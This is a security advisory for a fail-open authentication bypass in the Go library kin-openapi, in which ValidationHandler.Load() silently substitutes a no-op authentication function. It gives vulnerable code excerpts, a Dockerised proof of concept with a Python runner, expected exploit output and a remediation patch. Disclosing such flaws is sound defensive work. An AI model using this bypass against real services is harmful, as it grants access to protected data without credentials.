"details": "### Summary\n`ValidationHandler.Load()` in `getkin/kin-openapi` silently replaces a nil `AuthenticationFunc` with `NoopAuthenticationFunc`, which always returns `nil` without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI `security` requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on `ValidationHandler` as its enforcement middleware. \n\n### Details\n`ValidationHandler` is an HTTP middleware exported by `openapi3filter` that validates incoming requests and responses against a loaded OpenAPI specification. Its `Load()` method initialises default fields before the handler begins serving:\n\n```go\n// openapi3filter/validation_handler.go:47-49\nif h.AuthenticationFunc == nil {\n h.AuthenticationFunc = NoopAuthenticationFunc\n}\n```\n\n`NoopAuthenticationFunc` is defined as:\n\n```go\n// openapi3filter/validation_handler.go:17-18\nfunc NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }\n```\n\nIt always returns `nil`, meaning every security scheme check it handles is automatically approved.\n\nWhen a request arrives, `ServeHTTP` \u2192 `before` \u2192 `validateRequest` assembles a `RequestValidationInput` with the current `AuthenticationFunc` (now the no-op) injected into `Options`:\n\n```go\n// openapi3filter/validation_handler.go:91-103\noptions := \u0026Options{\n AuthenticationFunc: h.AuthenticationFunc,\n}\nrequestValidationInput := \u0026RequestValidationInput{\n Request: r,\n PathParams: pathParams,\n Route: route,\n Options: options,\n}\nif err = ValidateRequest(r.Context(), requestValidationInput); err != nil {\n return err\n}\n```\n\nInside `ValidateRequest`, each security requirement calls `options.AuthenticationFunc`:\n\n```go\n// openapi3filter/validate_request.go:436-438\nf := options.AuthenticationFunc\nif f == nil {\n return ErrAuthenticationServiceMissing // fail-closed path \u2014 never reached via ValidationHandler\n}\n// ...\n// openapi3filter/validate_request.go:497-503\nif err := f(ctx, \u0026AuthenticationInput{...}); err != nil {\n return err\n}\n```\n\nBecause `f` is the no-op (not `nil`), the `ErrAuthenticationServiceMissing` guard is never triggered and `f(...)` returns `nil`, clearing the security requirement. Control then proceeds to the protected handler (`validation_handler.go:61-62`).\n\nThe critical contradiction is that callers who use `ValidateRequest` directly with a nil `AuthenticationFunc` get fail-closed behavior (`ErrAuthenticationServiceMissing`), while callers who use the higher-level `ValidationHandler` with a nil `AuthenticationFunc` get fail-open behavior. Since omitting `AuthenticationFunc` is the natural default, the majority of real-world integrations are vulnerable.\n\nAffected source file and line: `openapi3filter/validation_handler.go:47\u201349` (commit `30e2923`, tag `v0.143.0`).\n\n### PoC\n**Environment**\n\n```\nDocker (any version supporting multi-stage builds)\nGo 1.25 (inside the container via golang:1.25-alpine)\ngetkin/kin-openapi v0.143.0 (local source copy)\n```\n\n**Step 1 \u2014 Build the Docker image**\n\nFrom the repository root (parent of `vuln-001/`):\n\n```bash\ndocker build \\\n -t vuln001-auth-bypass-poc \\\n -f vuln-001/Dockerfile \\\n reports/github_web_233_getkin__kin-openapi\n```\n\nThe `Dockerfile` copies the local `kin-openapi` source into `/kin-openapi/` inside the image and builds a Go binary (`/poc-binary`) from `main.go`. The `go.mod` inside the image uses a `replace` directive pointing to `/kin-openapi`, so no network access to the Go module proxy is required.\n\n**Step 2 \u2014 Run the container**\n\n```bash\ndocker run --rm --network none vuln001-auth-bypass-poc\n```\n\n**Step 3 (alternative) \u2014 Use the Python helper**\n\n```bash\npython3 vuln-001/poc.py --no-cleanup\n```\n\n**What the PoC does**\n\n`main.go` creates a temporary OpenAPI 3.0 spec that declares `GET /secret` as protected by an `apiKey` security scheme:\n\n```yaml\npaths:\n /secret:\n get:\n security:\n - apiKey: []\ncomponents:\n securitySchemes:\n apiKey:\n type: apiKey\n name: X-Api-Key\n in: header\n```\n\nIt then constructs a `ValidationHandler` **without** setting `AuthenticationFunc`, calls `Load()`, and sends a request with no `X-Api-Key` header:\n\n```http\nGET /secret HTTP/1.1\nHost: example.test\n# X-Api-Key header is intentionally absent\n```\n\n**Expected (vulnerable) output**\n\n```\n=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===\n Direct ValidateRequest (nil auth) =\u003e ERROR: security requirements failed: missing AuthenticationFunc\n -\u003e Fail-CLOSED behavior confirmed: missing auth function is rejected\n\n=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===\n OpenAPI spec defines: security: [{apiKey: []}] on GET /secret\n ValidationHandler.AuthenticationFunc: NOT SET (nil)\n Load() will inject NoopAuthenticationFunc, which always returns nil\n\n Request: GET /secret (X-Api-Key header: absent)\n Response: status=200 body=\"SECRET_DATA\\n\"\n\n[EXPLOIT SUCCESS] Auth bypass confirmed!\n Protected resource /secret returned SECRET_DATA without credentials.\n ValidationHandler.Load() silently injected NoopAuthenticationFunc.\n Security requirement was bypassed. VULN-001 REPRODUCED.\n```\n\nThe contrast block confirms fail-closed behavior when `ValidateRequest` is called directly. The exploit block confirms fail-open behavior through `ValidationHandler`. Status 200 and `SECRET_DATA` are returned without any credential.\n\n**Remediation patch**\n\n```diff\n--- a/openapi3filter/validation_handler.go\n+++ b/openapi3filter/validation_handler.go\n@@\n if h.Handler == nil {\n h.Handler = http.DefaultServeMux\n }\n- if h.AuthenticationFunc == nil {\n- h.AuthenticationFunc = NoopAuthenticationFunc\n- }\n if h.ErrorEncoder == nil {\n h.ErrorEncoder = DefaultErrorEncoder\n }\n```\n\nAfter this change, a nil `AuthenticationFunc` propagates into `ValidateRequest`, which returns `ErrAuthenticationServiceMissing` and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: `h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc`.\n\n### Impact\nThis is an **authentication bypass** vulnerability (CWE-287). Any application that:\n\n1. uses `openapi3filter.ValidationHandler` as its HTTP middleware, and\n2. declares one or more `security` requirements in its OpenAPI specification, and\n3. does **not** explicitly set `AuthenticationFunc`,\n\nis fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.\n\nAffected parties include all Go services that adopt `ValidationHandler` as a drop-in validation layer and rely on OpenAPI `security` declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the \"getting started\" path are affected without any additional mistake.\n\nThe confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM golang:1.25-alpine\n\n# Install git (needed by go mod for some packages)\nRUN apk add --no-cache git\n\nWORKDIR /workspace\n\n# Copy the vulnerable kin-openapi repository as a local module replacement\nCOPY repo/ /kin-openapi/\n\n# Set up the PoC Go module\nRUN mkdir -p /workspace/poc\nWORKDIR /workspace/poc\n\n# Create go.mod that uses the local copy of the vulnerable kin-openapi\nRUN cat \u003e go.mod \u003c\u003c\u0027EOF\u0027\nmodule kin-openapi-auth-bypass-poc\n\ngo 1.25\n\nrequire github.com/getkin/kin-openapi v0.143.0\n\nreplace github.com/getkin/kin-openapi =\u003e /kin-openapi\nEOF\n\n# Copy the PoC source (build context is the parent directory of vuln-001/)\nCOPY vuln-001/main.go /workspace/poc/main.go\n\n# Resolve dependencies and build\nRUN go mod tidy \u0026\u0026 \\\n go build -o /poc-binary .\n\n# Run the PoC\nCMD [\"/poc-binary\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default\nRepository: getkin/kin-openapi v0.143.0\nCWE: CWE-287 (Improper Authentication)\nCVSS: 9.1 (Critical)\n\nVulnerability Summary:\n ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.\n NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement\n passes without validation when the user forgets to set AuthenticationFunc.\n\n Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing\n (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).\n\nUsage:\n python3 poc.py [--build-dir \u003cdir\u003e] [--image \u003cname\u003e] [--no-cleanup]\n\"\"\"\n\nimport argparse\nimport os\nimport subprocess\nimport sys\nimport json\n\nIMAGE_NAME = \"vuln001-auth-bypass-poc\"\nSCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))\nREPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), \"repo\")\n\nSUCCESS_MARKER = \"[EXPLOIT SUCCESS]\"\nEXPECTED_STATUS = \"status=200\"\nEXPECTED_BODY = \u0027body=\"SECRET_DATA\\\\n\"\u0027\n\n\ndef run(cmd, **kwargs):\n \"\"\"Run a shell command and return (returncode, stdout, stderr).\"\"\"\n print(f\"[CMD] {\u0027 \u0027.join(cmd)}\")\n result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)\n if result.stdout:\n print(result.stdout, end=\"\")\n if result.stderr:\n print(result.stderr, end=\"\", file=sys.stderr)\n return result.returncode, result.stdout, result.stderr\n\n\ndef build_image(build_dir):\n \"\"\"Build the Docker image containing the PoC binary.\"\"\"\n print(\"\\n[*] Building Docker image ...\")\n rc, stdout, stderr = run([\n \"docker\", \"build\",\n \"--build-arg\", f\"REPO_DIR={REPO_DIR}\",\n \"-t\", IMAGE_NAME,\n \"-f\", os.path.join(build_dir, \"Dockerfile\"),\n # Build context is the reports root so both Dockerfile and repo/ are reachable\n os.path.dirname(build_dir),\n ])\n if rc != 0:\n print(f\"[ERROR] Docker build failed (exit {rc})\", file=sys.stderr)\n sys.exit(rc)\n print(\"[*] Docker build succeeded.\")\n return f\"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, \u0027Dockerfile\u0027)} {os.path.dirname(build_dir)}\"\n\n\ndef run_container():\n \"\"\"Run the container and capture output.\"\"\"\n print(\"\\n[*] Running PoC container ...\")\n rc, stdout, stderr = run([\n \"docker\", \"run\", \"--rm\",\n \"--network\", \"none\", # no network access needed\n IMAGE_NAME,\n ])\n combined = stdout + stderr\n return rc, combined\n\n\ndef evaluate(exit_code, output):\n \"\"\"Determine whether the exploit was confirmed.\"\"\"\n passed = (\n exit_code == 0\n and SUCCESS_MARKER in output\n and EXPECTED_STATUS in output\n and EXPECTED_BODY in output\n )\n return passed\n\n\ndef cleanup_image():\n \"\"\"Remove the Docker image.\"\"\"\n print(f\"\\n[*] Removing Docker image {IMAGE_NAME} ...\")\n run([\"docker\", \"rmi\", \"-f\", IMAGE_NAME])\n\n\ndef main():\n global IMAGE_NAME\n parser = argparse.ArgumentParser(description=\"VULN-001 Auth Bypass PoC runner\")\n parser.add_argument(\"--build-dir\", default=SCRIPT_DIR,\n help=\"Directory containing Dockerfile and main.go\")\n parser.add_argument(\"--image\", default=IMAGE_NAME,\n help=\"Docker image name to build/run\")\n parser.add_argument(\"--no-cleanup\", action=\"store_true\",\n help=\"Keep the Docker image after the run\")\n args = parser.parse_args()\n IMAGE_NAME = args.image\n\n print(\"=\" * 60)\n print(\"VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default\")\n print(\"=\" * 60)\n print(f\" Build dir : {args.build_dir}\")\n print(f\" Repo dir : {REPO_DIR}\")\n print(f\" Image : {IMAGE_NAME}\")\n\n build_cmd = build_image(args.build_dir)\n run_cmd = f\"docker run --rm --network none {IMAGE_NAME}\"\n\n exit_code, output = run_container()\n\n if not args.no_cleanup:\n cleanup_image()\n\n passed = evaluate(exit_code, output)\n\n print(\"\\n\" + \"=\" * 60)\n if passed:\n print(\"[RESULT] PASS \u2014 Auth bypass CONFIRMED\")\n print(\" The protected handler returned SECRET_DATA without credentials.\")\n print(\" ValidationHandler.Load() injected NoopAuthenticationFunc silently.\")\n else:\n print(f\"[RESULT] FAIL \u2014 Exploit not confirmed (exit={exit_code})\")\n\n print(f\"\\nContainer exit code : {exit_code}\")\n print(f\"Success marker found: {SUCCESS_MARKER in output}\")\n print(f\"Status 200 found : {EXPECTED_STATUS in output}\")\n print(f\"Secret body found : {EXPECTED_BODY in output}\")\n\n # Exit with code that signals pass/fail\n sys.exit(0 if passed else 1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-r277-6w6q-xmqw",
"modified": "2026-07-24T16:52:05Z",
"published": "2026-07-24T16:52:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-r277-6w6q-xmqw"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/commit/f0407d53b0730280266f454b755010e7eeb985da"
},
{
"type": "PACKAGE",
"url": "https://github.com/getkin/kin-openapi"
},
{
"type": "WEB",
"url": "https://github.com/getkin/kin-openapi/releases/tag/v0.144.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.